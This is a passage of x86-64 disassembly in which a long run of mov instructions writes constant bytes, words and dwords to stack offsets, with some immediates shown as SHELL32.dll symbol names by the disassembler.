mov byte [rsp + 0x24e], 0x24
mov eax, 0x9ea
mov word [rsp + 0x20e8], ax
mov dword [rsp + 0x946c], 0x3fd6
mov byte [rsp + 0x24f], 0xdf
mov eax, 0x53a
mov word [rsp + 0x20ec], ax
mov byte [rsp + 0x250], 0x63
mov dword [rsp + 0x9470], 0x7dd2
mov eax, 0x87b
mov word [rsp + 0x20f0], ax
mov dword [rsp + 0x9474], 0x69b0
mov byte [rsp + 0x251], 0x41
mov byte [rsp + 0x252], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x9478], 0xe2e9
mov dword [rsp + 0x947c], 0xd69
mov dword [rsp + 0x9480], 0x211c
mov dword [rsp + 0x9484], 0x5fea
mov byte [rsp + 0x253], 0x41
mov dword [rsp + 0x9488], 0x1661
mov eax, 0x8ef
mov word [rsp + 0x20f4], ax
mov eax, 0x140
mov word [rsp + 0x20f8], ax
mov dword [rsp + 0x948c], 0xc84e
mov eax, 0x499
mov word [rsp + 0x20fc], ax
mov dword [rsp + 0x9490], 0x4c3
mov byte [rsp + 0x254], 0x8a
mov dword [rsp + 0x9494], 0x4c5d
mov byte [rsp + 0x255], 0x6d
mov dword [rsp + 0x9498], 0x3e0e
mov eax, 0xe0e
mov word [rsp + 0x2100], ax
mov dword [rsp + 0x949c], 0x4f53
mov eax, 0x2a2
mov word [rsp + 0x2104], ax
mov eax, 0xe6
mov word [rsp + 0x2108], ax
mov eax, 0x456
mov word [rsp + 0x210c], ax
mov dword [rsp + 0x94a0], 0x284c
mov eax, ILFindChild
mov word [rsp + 0x2110], ax
mov eax, 0x872
mov word [rsp + 0x2114], ax
mov dword [rsp + 0x94a4], 0x72f0
mov dword [rsp + 0x94a8], 0x92e7
mov dword [rsp + 0x94ac], 0xd310
mov dword [rsp + 0x94b0], 0x2369
mov eax, 0xe05
mov word [rsp + 0x2118], ax
mov byte [rsp + 0x256], 0xf6
mov dword [rsp + 0x94b4], 0x6455
mov byte [rsp + 0x257], 0x47
mov byte [rsp + 0x258], 0x46
mov eax, 0x8b6
mov word [rsp + 0x211c], ax
mov dword [rsp + 0x94b8], 0x64ad
mov dword [rsp + 0x94bc], 0x3a9
mov dword [rsp + 0x94c0], 0x6a73
mov byte [rsp + 0x259], 0x2d
mov dword [rsp + 0x94c4], 0x6baf
mov dword [rsp + 0x94c8], 0xf25
mov dword [rsp + 0x94cc], 0x436e
mov dword [rsp + 0x94d0], 0x2e5a
mov dword [rsp + 0x94d4], 0x2792
mov eax, 0xc47
mov word [rsp + 0x2120], ax
mov dword [rsp + 0x94d8], 0xed0
mov eax, 0x266
mov word [rsp + 0x2124], ax
mov dword [rsp + 0x94dc], 0xccb1
mov dword [rsp + 0x94e0], 0x79ee
mov byte [rsp + 0x25a], 0x70
mov dword [rsp + 0x94e4], 0x1d80
mov dword [rsp + 0x94e8], 0xfca9
mov dword [rsp + 0x94ec], 0x3b06
mov dword [rsp + 0x94f0], 0xfd18
mov dword [rsp + 0x94f4], 0x77a7
mov byte [rsp + 0x25b], 0x2a
mov dword [rsp + 0x94f8], 0x6f88
mov dword [rsp + 0x94fc], 0x2af3
mov dword [rsp + 0x9500], 0x41b0
mov eax, 0x4a7
mov word [rsp + 0x2128], ax
mov byte [rsp + 0x25c], 0x79
mov dword [rsp + 0x9504], 0xa2a9
mov dword [rsp + 0x9508], 0x9fa
mov dword [rsp + 0x950c], 0x318d
mov dword [rsp + 0x9510], 0x2737
mov dword [rsp + 0x9514], 0xc55d
mov dword [rsp + 0x9518], 0x6225
mov eax, 0xc3a
mov word [rsp + 0x212c], ax
mov dword [rsp + 0x951c], 0x7053
mov dword [rsp + 0x9520], 0x34ec
mov dword [rsp + 0x9524], 0xeff
mov dword [rsp + 0x9528], 0x677b
mov dword [rsp + 0x952c], 0x2c63
mov dword [rsp + 0x9530], 0x6c2
mov dword [rsp + 0x9534], 0x30d
mov byte [rsp + 0x25d], 0x77
mov dword [rsp + 0x9538], 0xcf66
mov dword [rsp + 0x953c], 0xa04
mov dword [rsp + 0x9540], 0x1b32
mov eax, 0x87d
mov word [rsp + 0x2130], ax
mov dword [rsp + 0x9544], 0x7825
mov eax, 0x8ed
mov word [rsp + 0x2134], ax
mov dword [rsp + 0x9548], 0xcaf
mov byte [rsp + 0x25e], 0x41
mov dword [rsp + 0x954c], 0x4f33
mov dword [rsp + 0x9550], 0x2def
mov dword [rsp + 0x9554], 0x2033
mov eax, 0x11c
mov word [rsp + 0x2138], ax
mov byte [rsp + 0x25f], 0xfa
mov eax, 0x89e
mov word [rsp + 0x213c], ax
mov dword [rsp + 0x9558], 0x40de
mov dword [rsp + 0x955c], 0x1716
mov dword [rsp + 0x9560], 0x7fd6
mov dword [rsp + 0x9564], 0x2548
mov dword [rsp + 0x9568], 0x6d94
mov eax, 0xbe6
mov word [rsp + 0x2140], ax
mov eax, 0xd93
mov word [rsp + 0x2144], ax
mov eax, 0xc7f
mov word [rsp + 0x2148], ax
mov dword [rsp + 0x956c], 0x30ff
mov byte [rsp + 0x260], 0x30
mov byte [rsp + 0x261], 0x74
mov byte [rsp + 0x262], 0x53
mov byte [rsp + 0x263], 0x5f
mov eax, 0xdd8
mov word [rsp + 0x214c], ax
mov dword [rsp + 0x9570], 0x420e
mov byte [rsp + 0x264], 0xbb
mov dword [rsp + 0x9574], 0x3ac
mov eax, 0x3f5
mov word [rsp + 0x2150], ax
mov dword [rsp + 0x9578], 0x8250
mov dword [rsp + 0x957c], 0x7e2a
mov dword [rsp + 0x9580], 0x4f53
mov dword [rsp + 0x9584], 0x428b
mov byte [rsp + 0x265], 0x2b
mov dword [rsp + 0x9588], 0xfea
mov dword [rsp + 0x958c], 0x3f9e
mov dword [rsp + 0x9590], 0x6c61
mov byte [rsp + 0x266], 0
mov eax, 0xcf9
mov word [rsp + 0x2154], ax
mov dword [rsp + 0x9594], 0x213b
mov dword [rsp + 0x9598], 0xd2
mov dword [rsp + 0x959c], 0x409b
mov dword [rsp + 0x95a0], 0x4016
mov eax, reloc.SHELL32.dll_ILIsParent
mov word [rsp + 0x2158], ax
mov byte [rsp + 0x267], 0x92
mov eax, 0x6db
mov word [rsp + 0x215c], ax
mov dword [rsp + 0x95a4], 0x3632
mov byte [rsp + 0x268], 0x43
mov dword [rsp + 0x95a8], 0x81a5
mov dword [rsp + 0x95ac], 0xcc2c
mov eax, 0x7e6
mov word [rsp + 0x2160], ax
mov byte [rsp + 0x269], 0x76
mov byte [rsp + 0x26a], 0xcc
mov byte [rsp + 0x26b], 1
mov eax, 0x39c
mov word [rsp + 0x2164], ax
mov dword [rsp + 0x95b0], 0x783c
mov eax, 0x728
mov word [rsp + 0x2168], ax
mov dword [rsp + 0x95b4], 0x20c0
mov eax, 0x40a
mov word [rsp + 0x216c], ax
mov dword [rsp + 0x95b8], 0x17b6
mov byte [rsp + 0x26c], 0x56
mov dword [rsp + 0x95bc], 0x7c33
mov dword [rsp + 0x95c0], 0x2291
mov eax, 0x79f
mov word [rsp + 0x2170], ax
mov dword [rsp + 0x95c4], 0x565d
mov byte [rsp + 0x26d], 0x6d
mov dword [rsp + 0x95c8], 0x6dba
mov eax, 0x492
mov word [rsp + 0x2174], ax
mov dword [rsp + 0x95cc], 0x6737
mov dword [rsp + 0x95d0], 0x21c2
mov eax, 0xec4
mov word [rsp + 0x2178], ax
mov byte [rsp + 0x26e], 0xb4
mov eax, 0x254
mov word [rsp + 0x217c], ax
mov byte [rsp + 0x26f], 0xc4
mov eax, 0xf0f
mov word [rsp + 0x2180], ax
mov byte [rsp + 0x270], 8
mov byte [rsp + 0x271], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x95d4], 0xb17
mov byte [rsp + 0x272], 0x3c
mov dword [rsp + 0x95d8], 0x2414
mov dword [rsp + 0x95dc], 0x59c9
mov dword [rsp + 0x95e0], 0x2f42
mov dword [rsp + 0x95e4], 0x30eb
mov dword [rsp + 0x95e8], 0xa99f
mov dword [rsp + 0x95ec], 0x9098
mov byte [rsp + 0x273], 0x24
mov dword [rsp + 0x95f0], 0x6abd
mov eax, 0x92a
mov word [rsp + 0x2184], ax
mov eax, 0x40b
mov word [rsp + 0x2188], ax
mov dword [rsp + 0x95f4], 0xfbdf
mov byte [rsp + 0x274], 0xdb
mov byte [rsp + 0x275], 0xab
mov eax, 0xa06
mov word [rsp + 0x218c], ax
mov byte [rsp + 0x276], 0xab
mov eax, 0x70
mov word [rsp + 0x2190], ax
mov dword [rsp + 0x95f8], 0x3a80
mov dword [rsp + 0x95fc], 0x2ff5
mov dword [rsp + 0x9600], 0x10de
mov dword [rsp + 0x9604], 0x711
mov eax, 0xd3
mov word [rsp + 0x2194], ax
mov dword [rsp + 0x9608], 0x29d
mov dword [rsp + 0x960c], 0xa8e
mov dword [rsp + 0x9610], 0x3dfb
mov dword [rsp + 0x9614], 0x28ab
mov dword [rsp + 0x9618], 0x1a8e
mov dword [rsp + 0x961c], 0x8f7a
mov eax, 0xe54
mov word [rsp + 0x2198], ax
mov dword [rsp + 0x9620], 0x39c0
mov dword [rsp + 0x9624], 0x22c2
mov byte [rsp + 0x277], 0xef
mov eax, 0x660
mov word [rsp + 0x219c], ax
mov dword [rsp + 0x9628], 0x2873
mov dword [rsp + 0x962c], 0x77c6
mov dword [rsp + 0x9630], 0x7628
mov byte [rsp + 0x278], 0x57
mov dword [rsp + 0x9634], 0x1b9f
mov eax, 0x37a
mov word [rsp + 0x21a0], ax
mov dword [rsp + 0x9638], 0x5a75
mov eax, 0xb64
mov word [rsp + 0x21a4], ax
mov dword [rsp + 0x963c], 0x23d7
mov dword [rsp + 0x9640], 0x41f4
mov byte [rsp + 0x279], 0x63
mov byte [rsp + 0x27a], 0xd3
mov eax, 0x4d5
mov word [rsp + 0x21a8], ax
mov dword [rsp + 0x9644], 0x4cb0
mov dword [rsp + 0x9648], 0x573
mov eax, 0xb08
mov word [rsp + 0x21ac], ax
mov dword [rsp + 0x964c], 0x203f
mov eax, 0x4cf
mov word [rsp + 0x21b0], ax
mov byte [rsp + 0x27b], 0x97
mov dword [rsp + 0x9650], 0x28a3
mov byte [rsp + 0x27c], 0x56
mov byte [rsp + 0x27d], 0x59
mov dword [rsp + 0x9654], 0x43bb
mov dword [rsp + 0x9658], 0x7e30
mov eax, 0xc46
mov word [rsp + 0x21b4], ax
mov eax, 0x927
mov word [rsp + 0x21b8], ax
mov dword [rsp + 0x965c], 0xb5c1
mov byte [rsp + 0x27e], 0x7d
mov dword [rsp + 0x9660], 0xec73
mov byte [rsp + 0x27f], 0xf
mov dword [rsp + 0x9664], 0x2c0e
mov dword [rsp + 0x9668], 0x1f57
mov dword [rsp + 0x966c], 0x984a
mov byte [rsp + 0x280], 0x3b
mov dword [rsp + 0x9670], 0xbe4e
mov dword [rsp + 0x9674], 0x35d3
mov eax, 0xf8
mov word [rsp + 0x21bc], ax
mov dword [rsp + 0x9678], 0xf42
mov dword [rsp + 0x967c], 0x6220
mov eax, 0xd55
mov word [rsp + 0x21c0], ax
mov dword [rsp + 0x9680], 0x32ad
mov dword [rsp + 0x9684], 0x1d73
mov eax, 0x6cf
mov word [rsp + 0x21c4], ax
mov dword [rsp + 0x9688], 0xff89
mov dword [rsp + 0x968c], 0x4e2b
mov dword [rsp + 0x9690], 0x26d8
mov eax, 0xb49
mov word [rsp + 0x21c8], ax
mov dword [rsp + 0x9694], 0xb3e
mov byte [rsp + 0x281], 0x5d
mov dword [rsp + 0x9698], 0x3cb9
mov byte [rsp + 0x282], ILIsParent
mov dword [rsp + 0x969c], 0x3521
mov dword [rsp + 0x96a0], 0x39dc
mov dword [rsp + 0x96a4], 0x62b
mov dword [rsp + 0x96a8], 0x1ece
mov dword [rsp + 0x96ac], 0x762c
mov dword [rsp + 0x96b0], 0xd25f
mov eax, 0xed5
mov word [rsp + 0x21cc], ax
mov dword [rsp + 0x96b4], 0x139
mov eax, 0xcbe
mov word [rsp + 0x21d0], ax
mov eax, 0x783
mov word [rsp + 0x21d4], ax
mov dword [rsp + 0x96b8], 0x4180
mov eax, 0x5b4
mov word [rsp + 0x21d8], ax
mov eax, 0xd08
mov word [rsp + 0x21dc], ax
mov eax, 0xca2
mov word [rsp + 0x21e0], ax
mov byte [rsp + 0x283], 0x4e
mov dword [rsp + 0x96bc], 0x1351
mov dword [rsp + 0x96c0], 0x4f47
mov eax, 0xdd0
mov word [rsp + 0x21e4], ax
mov dword [rsp + 0x96c4], 0x4694
mov dword [rsp + 0x96c8], 0xb6e7
mov dword [rsp + 0x96cc], 0x22d7
mov eax, 0x8c
mov word [rsp + 0x21e8], ax
mov dword [rsp + 0x96d0], 0x3988
mov dword [rsp + 0x96d4], 0x2bc0
mov byte [rsp + 0x284], 0x7b
mov eax, 0xea7
mov word [rsp + 0x21ec], ax
mov eax, 0x9c8
mov word [rsp + 0x21f0], ax
mov dword [rsp + 0x96d8], 0x59c9
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock], 0x9c
mov dword [rsp + 0x96dc], 0x5125
mov dword [rsp + 0x96e0], 0x234a
mov dword [rsp + 0x96e4], 0xc22a
mov byte [rsp + 0x286], 0xfb
mov byte [rsp + 0x287], 0x70
mov eax, 0x33
mov word [rsp + 0x21f4], ax
mov byte [rsp + 0x288], 0x54
mov dword [rsp + 0x96e8], 0x6189
mov dword [rsp + 0x96ec], 0x6af9
mov eax, 0xbf9
mov word [rsp + 0x21f8], ax
mov dword [rsp + 0x96f0], 0x39f4
mov dword [rsp + 0x96f4], 0x5e9d
mov dword [rsp + 0x96f8], 0x2994
mov dword [rsp + 0x96fc], 0x4e09
mov dword [rsp + 0x9700], 0x6e51
mov dword [rsp + 0x9704], 0x78fd
mov dword [rsp + 0x9708], 0x900
mov dword [rsp + 0x970c], 0xdc30
mov eax, 0x195
mov word [rsp + 0x21fc], ax
mov dword [rsp + 0x9710], 0x64f7
mov dword [rsp + 0x9714], 0x28c
mov dword [rsp + 0x9718], 0x6b35
mov dword [rsp + 0x971c], 0x19a5
mov dword [rsp + 0x9720], 0xe674
mov dword [rsp + 0x9724], 0xa46
mov dword [rsp + 0x9728], 0xc89a
mov byte [rsp + 0x289], 0xac
mov dword [rsp + 0x972c], 0x8ec2
mov dword [rsp + 0x9730], 0x134b
mov eax, 0x7ef
mov word [rsp + 0x2200], ax
mov dword [rsp + 0x9734], 0xfdb
mov eax, 0x648
mov word [rsp + 0x2204], ax
mov dword [rsp + 0x9738], 0x2470
mov dword [rsp + 0x973c], 0x3bd1
mov eax, 0x670
mov word [rsp + 0x2208], ax
mov dword [rsp + 0x9740], 0x5a9b
mov dword [rsp + 0x9744], 0x73a2
mov byte [rsp + 0x28a], 0x3b
mov byte [rsp + 0x28b], 0x76
mov dword [rsp + 0x9748], 0x34ba
mov dword [rsp + 0x974c], 0x6228
mov dword [rsp + 0x9750], 0x5aed
mov dword [rsp + 0x9754], 0x31d0
mov dword [rsp + 0x9758], 0xd372
mov eax, 0x1e3
mov word [rsp + 0x220c], ax
mov byte [rsp + 0x28c], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x975c], 0x1c9e
mov dword [rsp + 0x9760], 0x7630
mov byte [rsp + 0x28d], 0xb3
mov dword [rsp + 0x9764], 0x1627
mov byte [rsp + 0x28e], 0x5a
mov byte [rsp + 0x28f], 0xe1
mov byte [rsp + 0x290], 0x3f
mov dword [rsp + 0x9768], 0x626e
mov eax, 0x134
mov word [rsp + 0x2210], ax
mov dword [rsp + 0x976c], 0xf2d7
mov dword [rsp + 0x9770], 0xa571
mov byte [rsp + 0x291], 0xf5
mov byte [rsp + 0x292], 0xd2
mov byte [rsp + 0x293], 0x4f
mov dword [rsp + 0x9774], 0x2ac4
mov dword [rsp + 0x9778], 0x2513
mov dword [rsp + 0x977c], 0xbc8f
mov dword [rsp + 0x9780], 0x4623
mov dword [rsp + 0x9784], 0xca10
mov dword [rsp + 0x9788], 0x32d3
mov dword [rsp + 0x978c], 0x5403
mov byte [rsp + 0x294], 0x79
mov dword [rsp + 0x9790], 0x4ebb
mov dword [rsp + 0x9794], 0x26d7
mov eax, 0x966
mov word [rsp + 0x2214], ax
mov dword [rsp + 0x9798], 0x59f8
mov dword [rsp + 0x979c], 0x3691
mov dword [rsp + 0x97a0], 0x49b8
mov dword [rsp + 0x97a4], 0xf3d6
mov dword [rsp + 0x97a8], 0x842f
mov dword [rsp + 0x97ac], 0x8355
mov dword [rsp + 0x97b0], 0x7a74
mov dword [rsp + 0x97b4], 0x3b9e
mov eax, 0x3ea
mov word [rsp + 0x2218], ax
mov dword [rsp + 0x97b8], 0xfa70
mov dword [rsp + 0x97bc], 0x50c8
mov eax, 0x90c
mov word [rsp + 0x221c], ax
mov eax, 0x53f
mov word [rsp + 0x2220], ax
mov eax, 0x641
mov word [rsp + 0x2224], ax
mov dword [rsp + 0x97c0], 0x8eea
mov byte [rsp + 0x295], 0x5f
mov dword [rsp + 0x97c4], 0x54ad
mov byte [rsp + 0x296], 0x5d
mov byte [rsp + 0x297], 0x4e
mov eax, 0xaab
mov word [rsp + 0x2228], ax
mov eax, 0x894
mov word [rsp + 0x222c], ax
mov byte [rsp + 0x298], 0x4a
mov dword [rsp + 0x97c8], 0x450f
mov byte [rsp + 0x299], 0x3e
mov dword [rsp + 0x97cc], 0x35e3
mov dword [rsp + 0x97d0], 0xc1b
mov dword [rsp + 0x97d4], 0x1d
mov byte [rsp + 0x29a], 0xa
mov dword [rsp + 0x97d8], 0x7beb
mov dword [rsp + 0x97dc], 0x6ccd
mov dword [rsp + 0x97e0], 0x9c2a
mov dword [rsp + 0x97e4], 0x46be
mov byte [rsp + 0x29b], 0x94
mov byte [rsp + 0x29c], 0xaf
mov byte [rsp + 0x29d], 0x34
mov dword [rsp + 0x97e8], 0x4486
mov dword [rsp + 0x97ec], 0x577f
mov eax, 0x841
mov word [rsp + 0x2230], ax
mov dword [rsp + 0x97f0], 0x3eb5
mov eax, 2
mov word [rsp + 0x2234], ax
mov byte [rsp + 0x29e], ILFindChild
mov byte [rsp + 0x29f], 8
mov dword [rsp + 0x97f4], 0x2dbe
mov eax, 0xb5d
mov word [rsp + 0x2238], ax
mov dword [rsp + 0x97f8], 0xc61b
mov eax, 0x1c7
mov word [rsp + 0x223c], ax
mov dword [rsp + 0x97fc], 0x6666
mov eax, 0x469
mov word [rsp + 0x2240], ax
mov dword [rsp + 0x9800], 0xcfb
mov eax, 0x9bc
mov word [rsp + 0x2244], ax
mov eax, 0x92
mov word [rsp + 0x2248], ax
mov dword [rsp + 0x9804], 0xec56
mov byte [rsp + 0x2a0], 0x2f
mov eax, 0x2a9
mov word [rsp + 0x224c], ax
mov byte [rsp + 0x2a1], 0x43
mov dword [rsp + 0x9808], 0xb1a4
mov eax, 0xa88
mov word [rsp + 0x2250], ax
mov dword [rsp + 0x980c], 0x3bf1
mov eax, 0xccf
mov word [rsp + 0x2254], ax
mov dword [rsp + 0x9810], 0x349c
mov dword [rsp + 0x9814], 0x788c
mov eax, 0x4a8
mov word [rsp + 0x2258], ax
mov dword [rsp + 0x9818], 0x4dfb
mov dword [rsp + 0x981c], 0x1f88
mov eax, 0x5d2
mov word [rsp + 0x225c], ax
mov byte [rsp + 0x2a2], 0xc1
mov eax, 0xa13
mov word [rsp + 0x2260], ax
mov eax, 0x86d
mov word [rsp + 0x2264], ax
mov byte [rsp + 0x2a3], 0x87
mov eax, 0x46f
mov word [rsp + 0x2268], ax
mov dword [rsp + 0x9820], 0x6cbb
mov byte [rsp + 0x2a4], 0x4b
mov byte [rsp + 0x2a5], 0x4a
mov dword [rsp + 0x9824], 0x7d42
mov dword [rsp + 0x9828], 0x78cd
mov eax, 0x331
mov word [rsp + 0x226c], ax
mov dword [rsp + 0x982c], 0xb02
mov eax, 0xa2b
mov word [rsp + 0x2270], ax
mov dword [rsp + 0x9830], 0xe04
mov dword [rsp + 0x9834], 0x7df6
mov eax, 0xaef
mov word [rsp + 0x2274], ax
mov eax, 0xf87
mov word [rsp + 0x2278], ax
mov dword [rsp + 0x9838], 0x2359
mov dword [rsp + 0x983c], 0x210e
mov byte [rsp + 0x2a6], 0x31
mov byte [rsp + 0x2a7], 0x91
mov dword [rsp + 0x9840], 0x4b85
mov byte [rsp + 0x2a8], 0xd3
mov dword [rsp + 0x9844], 0x6ac3
mov byte [rsp + 0x2a9], 0xc8
mov dword [rsp + 0x9848], 0x42df
mov byte [rsp + 0x2aa], 0x72
mov dword [rsp + 0x984c], 0x6b57
mov dword [rsp + 0x9850], 0x4bdd
mov byte [rsp + 0x2ab], 0xda
mov dword [rsp + 0x9854], 0xfdd
mov byte [rsp + 0x2ac], 0xb3
mov dword [rsp + 0x9858], 0x4901
mov dword [rsp + 0x985c], 0xca5a
mov dword [rsp + 0x9860], 0x47cf
mov dword [rsp + 0x9864], 0xfb75
mov dword [rsp + 0x9868], 0x6cf2
mov dword [rsp + 0x986c], 0x42c6
mov dword [rsp + 0x9870], 0x470b
mov dword [rsp + 0x9874], 0xba5
mov dword [rsp + 0x9878], 0x6afd
mov byte [rsp + 0x2ad], 0x6e
mov byte [rsp + 0x2ae], 0xee
mov byte [rsp + 0x2af], reloc.SHELL32.dll_ILSaveToStream
mov byte [rsp + 0x2b0], ILFindChild
mov eax, 0x39d
mov word [rsp + 0x227c], ax
mov eax, 0xe8
mov word [rsp + 0x2280], ax
mov byte [rsp + 0x2b1], 7
mov eax, 0x1bf
mov word [rsp + 0x2284], ax
mov eax, 0x385
mov word [rsp + 0x2288], ax
mov dword [rsp + 0x987c], 0xd899
mov eax, 0x8d
mov word [rsp + 0x228c], ax
mov dword [rsp + 0x9880], 0xa1a9
mov dword [rsp + 0x9884], 0x21f5
mov byte [rsp + 0x2b2], 0xa0
mov byte [rsp + 0x2b3], 0x33
mov eax, 0x70c
mov word [rsp + 0x2290], ax
mov dword [rsp + 0x9888], 0xb45
mov byte [rsp + 0x2b4], 0x65
mov eax, 0x96c
mov word [rsp + 0x2294], ax
mov dword [rsp + 0x988c], 0x6bc5
mov dword [rsp + 0x9890], 0x752a
mov eax, 0x734
mov word [rsp + 0x2298], ax
mov dword [rsp + 0x9894], 0x8c6b
mov dword [rsp + 0x9898], 0x5781
mov eax, 0xba
mov word [rsp + 0x229c], ax
mov dword [rsp + 0x989c], 0x70e4
mov eax, 0xb1
mov word [rsp + 0x22a0], ax
mov dword [rsp + 0x98a0], 0x3c81
mov dword [rsp + 0x98a4], 0x380d
mov eax, 0xa61
mov word [rsp + 0x22a4], ax
mov dword [rsp + 0x98a8], 0xc7c
mov eax, 0x6d9
mov word [rsp + 0x22a8], ax
mov dword [rsp + 0x98ac], 0xef47
mov eax, 0x4f5
mov word [rsp + 0x22ac], ax
mov dword [rsp + 0x98b0], 0xd295
mov eax, 0x3b6
mov word [rsp + 0x22b0], ax
mov eax, 0xa9
mov word [rsp + 0x22b4], ax
mov byte [rsp + 0x2b5], 4
mov dword [rsp + 0x98b4], 0xcdd
mov dword [rsp + 0x98b8], 0xdb3
mov dword [rsp + 0x98bc], 0x259a
mov byte [rsp + 0x2b6], ILFindChild
mov dword [rsp + 0x98c0], 0x4120
mov dword [rsp + 0x98c4], 0xf678
mov dword [rsp + 0x98c8], 0x316c
mov dword [rsp + 0x98cc], 0x6c52
mov dword [rsp + 0x98d0], 0x918f
mov dword [rsp + 0x98d4], 0x78f9
mov dword [rsp + 0x98d8], 0x17ad
mov byte [rsp + 0x2b7], 0x1d
mov byte [rsp + 0x2b8], 0xfc
mov dword [rsp + 0x98dc], 0x3012
mov byte [rsp + 0x2b9], 9
mov dword [rsp + 0x98e0], 0x3afe
mov dword [rsp + 0x98e4], 0x43b1
mov eax, 0x6b8
mov word [rsp + 0x22b8], ax
mov eax, 0x2a8
mov word [rsp + 0x22bc], ax
mov byte [rsp + 0x2ba], 0xdb
mov dword [rsp + 0x98e8], 0x7e4a
mov dword [rsp + 0x98ec], 0x2e4f
mov dword [rsp + 0x98f0], 0x56c1
mov dword [rsp + 0x98f4], 0x1884
mov dword [rsp + 0x98f8], 0x91e7
mov dword [rsp + 0x98fc], 0x150b
mov byte [rsp + 0x2bb], 0x23
mov byte [rsp + 0x2bc], 0xfa
mov eax, 0x9bf
mov word [rsp + 0x22c0], ax
mov byte [rsp + 0x2bd], 0x20
mov dword [rsp + 0x9900], 0xf7d8
mov dword [rsp + 0x9904], 0x4f4f
mov dword [rsp + 0x9908], 0x5ab8
mov dword [rsp + 0x990c], 0x29eb
mov eax, 0x7a2
mov word [rsp + 0x22c4], ax
mov dword [rsp + 0x9910], 0xd1f1
mov byte [rsp + 0x2be], 0x6a
mov dword [rsp + 0x9914], 0x7593
mov eax, 0x17e
mov word [rsp + 0x22c8], ax
mov byte [rsp + 0x2bf], 0x92
mov dword [rsp + 0x9918], 0x41ac
mov dword [rsp + 0x991c], 0x3fd5
mov byte [rsp + 0x2c0], 0x74
mov dword [rsp + 0x9920], 0x18b9
mov dword [rsp + 0x9924], 0x6051
mov dword [rsp + 0x9928], 0x29da
mov byte [rsp + 0x2c1], 0xd6
mov dword [rsp + 0x992c], 0xd60
mov eax, 0x7c
mov word [rsp + 0x22cc], ax
mov eax, 0x35a
mov word [rsp + 0x22d0], ax
mov dword [rsp + 0x9930], 0xd892
mov dword [rsp + 0x9934], 0x3bc
mov byte [rsp + 0x2c2], 0xc3
mov dword [rsp + 0x9938], 0x7dcf
mov byte [rsp + 0x2c3], 0xb2
mov byte [rsp + 0x2c4], 0x53
mov eax, 0xccf
mov word [rsp + 0x22d4], ax
mov byte [rsp + 0x2c5], 0xf2
mov dword [rsp + 0x993c], 0x6f5b
mov dword [rsp + 0x9940], 0xbdc
mov dword [rsp + 0x9944], 0x5de7
mov dword [rsp + 0x9948], 0x5e8d
mov dword [rsp + 0x994c], 0x1d04
mov byte [rsp + 0x2c6], 0x89
mov dword [rsp + 0x9950], 0x48bb
mov dword [rsp + 0x9954], 0x2686
mov dword [rsp + 0x9958], 0x3fe
mov dword [rsp + 0x995c], 0x1a5e
mov byte [rsp + 0x2c7], ILFindChild
mov dword [rsp + 0x9960], 0x8263
mov eax, 0x3d2
mov word [rsp + 0x22d8], ax
mov dword [rsp + 0x9964], 0x8446
mov dword [rsp + 0x9968], 0x5049
mov byte [rsp + 0x2c8], 0xc9
mov eax, 0xc15
mov word [rsp + 0x22dc], ax
mov dword [rsp + 0x996c], 0x6287
mov eax, 0x47a
mov word [rsp + 0x22e0], ax
mov byte [rsp + 0x2c9], 0x6c
mov byte [rsp + 0x2ca], 0x38
mov dword [rsp + 0x9970], 0x3d07
mov byte [rsp + 0x2cb], 0x54
mov dword [rsp + 0x9974], 0x6320
mov dword [rsp + 0x9978], 0x716a
mov dword [rsp + 0x997c], 0x15ac
mov dword [rsp + 0x9980], 0x57af
mov byte [rsp + 0x2cc], 0x48
mov eax, 0x8f8
mov word [rsp + 0x22e4], ax
mov byte [rsp + 0x2cd], 0xb9
mov dword [rsp + 0x9984], 0xe2b2
mov byte [rsp + 0x2ce], 0xac
mov eax, 0x1d9
mov word [rsp + 0x22e8], ax
mov byte [rsp + 0x2cf], 0x58
mov byte [rsp + 0x2d0], 0x3f
mov byte [rsp + 0x2d1], 0x52
mov dword [rsp + 0x9988], 0x8f5
mov dword [rsp + 0x998c], 0x11e0
mov dword [rsp + 0x9990], 0x2e0c
mov dword [rsp + 0x9994], 0x70a2
mov dword [rsp + 0x9998], 0x7ad1
mov eax, 0x293
mov word [rsp + 0x22ec], ax
mov byte [rsp + 0x2d2], 0x94
mov byte [rsp + 0x2d3], 0x5b
mov byte [rsp + 0x2d4], 0x9d
mov dword [rsp + 0x999c], 0x173d
mov dword [rsp + 0x99a0], 0x4be3
mov dword [rsp + 0x99a4], 0x50c4
mov byte [rsp + 0x2d5], 0xe4
mov byte [rsp + 0x2d6], 0x7f
mov byte [rsp + 0x2d7], 0x6e
mov eax, 0x4c7
mov word [rsp + 0x22f0], ax
mov dword [rsp + 0x99a8], 0x7d04
mov dword [rsp + 0x99ac], 0x580c
mov dword [rsp + 0x99b0], 0x41c4
mov dword [rsp + 0x99b4], 0x3af6
mov dword [rsp + 0x99b8], 0x28f5
mov dword [rsp + 0x99bc], 0x5817
mov eax, 0xdca
mov word [rsp + 0x22f4], ax
mov dword [rsp + 0x99c0], 0x2ff5
mov eax, 0x9b1
mov word [rsp + 0x22f8], ax
mov dword [rsp + 0x99c4], 0x3667
mov dword [rsp + 0x99c8], 0x10cd
mov dword [rsp + 0x99cc], 0x6047
mov byte [rsp + 0x2d8], 0x8d
mov eax, 0x77f
mov word [rsp + 0x22fc], ax
mov byte [rsp + 0x2d9], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x99d0], 0xfe30
mov dword [rsp + 0x99d4], 0x1352
mov eax, 0xcb
mov word [rsp + 0x2300], ax
mov dword [rsp + 0x99d8], 0xb28f
mov dword [rsp + 0x99dc], 0x5330
mov byte [rsp + 0x2da], 0x72
mov dword [rsp + 0x99e0], 0x210d
mov byte [rsp + 0x2db], 0x46
mov eax, pe_nt_image_headers64
mov word [rsp + 0x2304], ax
mov dword [rsp + 0x99e4], 0x2997
mov byte [rsp + 0x2dc], 0x24
mov eax, 0x5f4
mov word [rsp + 0x2308], ax
mov byte [rsp + 0x2dd], 0x57
mov eax, 0x55d
mov word [rsp + 0x230c], ax
mov eax, 0x2e
mov word [rsp + 0x2310], ax
mov byte [rsp + 0x2de], ILSaveToStream
mov eax, 0x714
mov word [rsp + 0x2314], ax
mov dword [rsp + 0x99e8], 0xd94
mov eax, 0x1aa
mov word [rsp + 0x2318], ax
mov dword [rsp + 0x99ec], 0x11a0
mov dword [rsp + 0x99f0], 0x2b94
mov dword [rsp + 0x99f4], 0x7ba1
